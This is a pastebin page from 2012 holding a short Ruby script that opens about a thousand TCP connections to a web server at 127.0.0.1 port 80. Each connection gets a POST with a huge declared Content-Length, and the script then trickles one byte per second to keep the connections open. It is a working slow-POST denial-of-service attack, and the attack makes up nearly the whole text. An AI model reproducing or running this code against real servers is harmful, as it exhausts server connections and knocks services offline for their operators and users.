Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on May 30th, 2012  |  syntax: None  |  size: 0.74 KB  |  hits: 9  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/ruby
  2.  
  3. require 'socket'
  4.  
  5. num = 1000
  6. sockets = []
  7.  
  8. for i in 0..num
  9.         s = TCPSocket.open('127.0.0.1', 80)
  10.         sockets[i] = s
  11.  
  12.         message = %{POST /aaaaaaaaaaaa HTTP/1.1\r
  13. HOST: my.local.com\r
  14. Connection: keep-alive\r
  15. Keep-Alive: 900\r
  16. Content-Length: 100000000\r
  17. Content-Type: application/x-www-form-urlencoded\r
  18. Accept: *.*\r
  19. USER_AGENT = Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r
  20. my.local.com}
  21.         unless s.nil?
  22.                 puts i.to_s + ' connected'
  23.                 send = s.send(message,0)
  24.                 if send <= 0
  25.                         puts "Error sending"
  26.                 else
  27.                         puts i.to_s + " Sent data"
  28.                 end
  29.         end
  30. end
  31.  
  32. loop do
  33.         for i in 0..num
  34.                 if sockets[i].read.length > 0
  35.                         sockets[i].send('z',0)
  36.                 end
  37.         end
  38.         sleep 1
  39. end